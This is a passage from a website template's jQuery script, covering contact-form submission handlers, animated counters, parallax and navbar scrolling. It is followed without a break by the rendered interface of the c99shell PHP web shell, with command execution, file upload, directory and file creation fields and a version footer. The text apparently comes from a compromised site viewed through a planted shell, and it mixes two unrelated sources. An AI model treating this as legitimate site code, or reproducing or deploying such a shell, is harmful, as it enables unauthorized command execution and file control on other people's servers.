										});
									}

									if (!captchaFlag) {
										return false;
									}

									form.addClass('form-in-process');

									if (output.hasClass("snackbars")) {
										output.html('<p><span class="icon text-middle fa fa-circle-o-notch fa-spin icon-xxs"></span><span>Sending</span></p>');
										output.addClass("active");
									}
								} else {
									return false;
								}
							},
							error: function (result) {
								if (isNoviBuilder)
									return;

								var output = $("#" + $(plugins.rdMailForm[this.extraData.counter]).attr("data-form-output")),
										form = $(plugins.rdMailForm[this.extraData.counter]);

								output.text(msg[result]);
								form.removeClass('form-in-process');

								if (formHasCaptcha) {
									grecaptcha.reset();
								}
							},
							success: function (result) {
								if (isNoviBuilder)
									return;

								var form = $(plugins.rdMailForm[this.extraData.counter]),
										output = $("#" + form.attr("data-form-output")),
										select = form.find('select');

								form
								.addClass(result === "MF000" ? 'success' : 'error')
								.removeClass('form-in-process');

								if (formHasCaptcha) {
									grecaptcha.reset();
								}

								result = result.length === 5 ? result : 'MF255';
								output.text(msg[result]);

								if (result === "MF000") {
									if (output.hasClass("snackbars")) {
										output.html('<p><span class="icon text-middle mdi mdi-check icon-xxs"></span><span>' + msg[result] + '</span></p>');
									} else {
										output.addClass("active success");
									}
								} else {
									if (output.hasClass("snackbars")) {
										output.html(' <p class="snackbars-left"><span class="icon icon-xxs mdi mdi-alert-outline text-middle"></span><span>' + msg[result] + '</span></p>');
									} else {
										output.addClass("active error");
									}
								}

								form.clearForm();

								if (select.length) {
									select.select2("val", "");
								}

								form.find('input, textarea').trigger('blur');

								setTimeout(function () {
									output.removeClass("active error success");
									form.removeClass('success error');
								}, 3500);
							}
						});
					}
				}

				// jQuery Count To
				if (plugins.counter.length) {
					for (var i = 0; i < plugins.counter.length; i++) {
						var $counterNotAnimated = $(plugins.counter[i]).not('.animated');
						$document.on("scroll", (function ($counterNotAnimated) {
							return function (event) {
								if ((!$counterNotAnimated.hasClass("animated")) && (isScrolledIntoView($counterNotAnimated))) {
									$counterNotAnimated.countTo({
										refreshInterval: 40,
										from: 0,
										to: parseInt($counterNotAnimated.text(), 10),
										speed: $counterNotAnimated.attr("data-speed") || 1000
									});

									$counterNotAnimated.addClass('animated');
									$document.off(event);
								}
							}

						})($counterNotAnimated));
					}

					$document.trigger('scroll');
				}

				// Material Parallax
				if (plugins.materialParallax.length) {
					if (!isNoviBuilder && !isIE && !isMobile) {
						plugins.materialParallax.parallax();

						// heavy pages fix
						$window.on('load', function () {
							setTimeout(function () {
								$window.scroll();
							}, 500);
						});
					} else {
						for (var i = 0; i < plugins.materialParallax.length; i++) {
							var parallax = $(plugins.materialParallax[i]),
									imgPath = parallax.data("parallax-img");

							var parallaxBg = document.createElement('div');
							parallaxBg.classList.add('material-parallax');
							parallax.prepend(parallaxBg);

							parallaxBg.style.backgroundImage = 'url(' + imgPath + ')';
							parallaxBg.style.backgroundSize = 'cover';
						}
					}
				}

				// Winona buttons
				if (plugins.buttonWinona.length && !isNoviBuilder && !isIE) {
					initWinonaButtons(plugins.buttonWinona);
				}

				function initWinonaButtons(buttons) {
					for (var i = 0; i < buttons.length; i++) {
						var $button = $(buttons[i]),
								innerContent = $button.html();

						$button.html('');
						$button.append(
								'<div class="content-original">' + innerContent + '</div>'
								+ '<div class="content-dubbed">' + innerContent + '</div>');
					}
				}

				// Navbar-related functions
				function updAnchOffset() {
					var
							relatives = document.querySelectorAll(this.dParams.anchor.offsetRef),
							dY = 0;

					for (var j = 0; j < relatives.length; j++) {
						dY -= relatives[j].offsetHeight;
					}

					this.dParams.anchor.offset = dY * 1.05;
				}

				function updStuckOffset() {
					this.dParams.stuck.offset = document.querySelector(this.dParams.stuck.offsetRef).getBoundingClientRect().height;
				}

				function isInView(node) {
					var rect = node.getBoundingClientRect();
					return (
							rect.top >= 0 &&
							rect.left >= 0 &&
							rect.bottom <= (window.innerHeight || document.documentElement.clientHeight) &&
							rect.right <= (window.innerWidth || document.documentElement.clientWidth)
					);
				}

				// Navbar
				if (plugins.navbar.length && !isNoviBuilder) {
					for (var i = 0; i < plugins.navbar.length; i++) {
						var
								navbar,
								node = plugins.navbar[i],
								options = JSON.parse(node.getAttribute('data-navbar'));


						// Плавная прокрутка окна с использованием jQuery
						if (options.anchor !== false) {
							if (!options.anchor) options.anchor = {};

							options.anchor.clickCb = function () {
								var
										target = $(this.anchor),
										top = target.offset().top,
										offset = this.ref.dParams.anchor.offset;

								$('html, body').stop().animate({
									scrollTop: top + offset + 1
								}, 500, 'swing');
							};
						}

						navbar = new Navbar(node, options);


						// Инициализация и обработка кастомных параметров
						if (options.stuck !== false && options.stuck && options.stuck.offsetRef) {
							updStuckOffset.call(navbar);
							window.addEventListener('scroll', updStuckOffset.bind(navbar));
							window.addEventListener('resize', updStuckOffset.bind(navbar));
						}

						if (options.anchor !== false && options.anchor && options.anchor.offsetRef) {
							updAnchOffset.call(navbar);
							window.addEventListener('scroll', updAnchOffset.bind(navbar));
							window.addEventListener('resize', updAnchOffset.bind(navbar));
						}

						// Плавная гризонтальная прокрутка навигации
						node.addEventListener('anchorchange', function () {
							if (this.currentAnchor && !isInView(this.currentAnchor)) {
								var
										nav = $(this.node).find('.navigation'),
										offset = $(this.currentAnchor).parent().offset().left + nav.scrollLeft();

								nav.stop().animate({
									scrollLeft: offset
								}, 400, 'swing');
							}
						}.bind(navbar));
					}
				}

			}
	);
}());

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0043 ]--